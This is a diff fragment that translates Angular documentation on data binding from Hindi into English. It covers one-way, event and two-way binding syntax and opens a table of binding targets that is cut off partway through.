+Binding refers to the process of communication between a component and its corresponding view. It is utilized for transferring data to and from the Angular framework. Data can be passed through various means, such as through events, interpolation, properties, or through the two-way binding mechanism. Moreover, data can also be shared between related components (parent-child relation) and between two unrelated components using the Service feature.
-हम डेटा प्रवाह द्वारा बाइंडिंग को वर्गीकृत कर सकते हैं:
+We can classify binding by data flow:
-* डेटा स्रोत से दृश्य लक्ष्य (जिसमें _interpolation_, _properties_, _attributes_, _classes_ और _styles_ शामिल हैं); इसे टेम्पलेट में `[]` या `{{}}` का उपयोग करके लागू किया जा सकता है;
-* दृश्य लक्ष्य से डेटा स्रोत (जिसमें _events_ शामिल हैं); इसे टेम्पलेट में `()` का उपयोग करके लागू किया जा सकता है;
-* दो-तरफा; इसे टेम्पलेट में `[()]` का उपयोग करके लागू किया जा सकता है।
+* Data source to view target (includes _interpolation_, _properties_, _attributes_, _classes_ and _styles_); can be applied by using `[]` or `{{}}` in template;
+* View target to data source (includes _events_); can be applied by using `()` in template;
+* Two-Way; can be applied by using `[()]` in template.
-बाइंडिंग को गुणों, घटनाओं, और विशेषताओं पर, साथ ही स्रोत निर्देशिका के किसी भी सार्वजनिक सदस्य पर बुलाया जा सकता है:
+Binding can be called on properties, events, and attributes, as well as on any public member of a source directive:
| TYPE | TARGET | EXAMPLES |
| --------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
@@ -83,11 +83,11 @@ Angular फ्रेमवर्क TypeScript फ़ाइलों को Java
| Class | class property | \